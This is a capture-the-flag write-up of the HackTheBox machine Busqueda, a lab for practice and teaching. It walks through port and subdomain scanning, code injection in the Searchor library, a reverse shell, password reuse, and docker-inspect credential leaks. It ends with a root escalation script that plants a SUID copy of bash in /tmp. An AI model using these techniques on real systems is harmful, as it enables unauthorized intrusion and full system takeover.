HackTheBox - Busqueda
Reconnaissance
port scanning
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
export ip=10.10.11.208
nmap -Pn -sC -sV $ip
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-12 21:28 EET
Nmap scan report for 10.10.11.208
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
- Based on the result, the host is running ubuntu, exploring the hosted website it redirect to
searcher.htb
, so let’s add this domain in our/etc/hosts
file
1
sudo echo "$ip searcher.htb" >> /etc/hosts
searcher.htb
- it’s a simple website powered by python flask and searchor 2.4.0 , the only functionality is searching for something using a selected search engine. pretty simple!
- Let’s start enumerating directories and subdomains.
Directory fuzzing
- Let’s start directory fuzzing while we try to attack this function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
export url="http://searcher.htb"
ffuf -u "$url/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/big.txt -c -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://searcher.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 202ms]
* FUZZ: search
[Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 76ms]
* FUZZ: server-status
:: Progress: [20475/20475] :: Job [1/1] :: 414 req/sec :: Duration: [0:02:10] :: Errors: 0 ::
Virtual Host Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ffuf -u "http://$ip" -H "Host: FUZZ.searcher.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -c -ic -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.208
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.searcher.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 333 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
Search Function
- Let’s enumerate further by exploring searchor GitHub repository.
Searchor is an all-in-one PyPi Python Library that simplifies web scraping, obtaining information on an topic, and generating search query URLs. Searchor is an a efficient tool for Python developers, with many web development needs in one, with support of over 100+ Engines and custom engines allowed, making it easy for developers to use for their web programming needs in Python without relying on many third-party dependencies. Furthermore, Searchor has a wide range of support, including command line interface and pip.
- in a simple way, searchor is a searching tasks library the website uses it to search.
- we can see that it’s vulnerable to code injection,
- [VULNERABILITY] Patched a priority vulnerability in the Searchor CLI (check out the patch here), the pull request
- the injection point is the
query
parameter, it’s very recommended to install searchor on our host and try exploiting it before exploiting searchor.htb
Exploitation
Basic PoC
- we will encode the payload because the plus (
+
) sign will be interpreted by burpsuite as URL encoding to the space ( ``)
- as we can see it lists the current directory successfully, let’s get a reverse shell
Initial Access
Post Exploitation
Stabilizing the shell
Host enumeration
1
2
3
4
5
6
7
ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 Apr 12 21:01 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 14:35 templates
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html', options=Engine.__members__, error='')
@app.route('/search', methods=['POST'])
def search():
try:
engine = request.form.get('engine')
query = request.form.get('query')
auto_redirect = request.form.get('auto_redirect')
if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()
if auto_redirect is not None:
return redirect(url, code=302)
else:
return url
else:
return render_template('index.html', options=Engine.__members__, error="Invalid engine!")
except Exception as e:
print(e)
return render_template('index.html', options=Engine.__members__, error="Something went wrong!")
if __name__ == '__main__':
app.run(debug=False)
- We found a gitea subdomain that hosting a repository called
Searcher_site
and credentials for cody user - Let’s add the subdomain to our
/etc/hosts/
file and login as cody - Nothing interesting here, just the website we attacked
- let’s Enumerate our home directory
user.txt
- as we can see maybe cody and
svc
is the same person, so let’s try to sudo using cody password, the password is already reused
Privilege Escalation
- we can run
/usr/bin/python3 /opt/scripts/system-checkup.py *
as root
We don’t have read or write permissions, let’s run
[system-checkup.py](http://system-checkup.py)
and check what it doesthe script takes an action and two arguments if needed, there are two docker containers running, one for the website and the other for mysql database
Docker
- let’s enumerate the containers using docker-inspect, this is the official documentation
- as we saw before, the users reuse their passwords, so let’s try to login as administrator with MySQL password we found(administrator@gitea.searcher.htb:yui….).
- now, we can read the script.
system-checkup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/bin/bash
import subprocess
import sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()
return output
def process_action(action):
if action == 'docker-inspect':
try:
_format = sys.argv[2]
if len(_format) == 0:
print(f"Format can't be empty")
exit(1)
container = sys.argv[3]
arg_list = ['docker', 'inspect', '--format', _format, container]
print(run_command(arg_list))
except IndexError:
print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
exit(1)
except Exception as e:
print('Something went wrong')
exit(1)
elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))
except:
print('Something went wrong')
exit(1)
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
if __name__ == '__main__':
try:
action = sys.argv[1]
if action in actions:
process_action(action)
else:
raise IndexError
except IndexError:
print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
print('')
print(' docker-ps : List running docker containers')
print(' docker-inspect : Inpect a certain docker container')
print(' full-checkup : Run a full system checkup')
print('')
exit(1)
- The script defines a few functions and variables that are used to run different Docker commands and to run a full system checkup.
- The
actions
list contains the different types of commands that can be run:full-checkup
,docker-ps
, anddocker-inspect
. - The
run_command
function takes a list of command-line arguments, runs the command, and returns the output. If there is an error, it prints the error message and exits with an error code. - The
process_action
function takes an action as an argument and runs the appropriate command. Fordocker-inspect
, it expects two additional arguments: the format string and the container name. Forfull-checkup
, it runs a script calledfull-checkup.sh
and prints a message when it’s done.
- The
did you notice this, it run
[full-checkup.sh](http://full-checkup.sh)
from the current directory (./
), let’s check that out- it’s very easy, we can create a file called
[full-checkup.sh](http://full-checkup.sh)
in the current working directory and run[system-checkup.py](http://system-checkup.py)
withfull-checkup
action. full-check.sh
1 2 3
#!/bin/bash cp /bin/bash /tmp/root_shell && chmod +s /tmp/root_shell echo check out /tmp/root_shell
root.txt
- Happy Hacking 🙂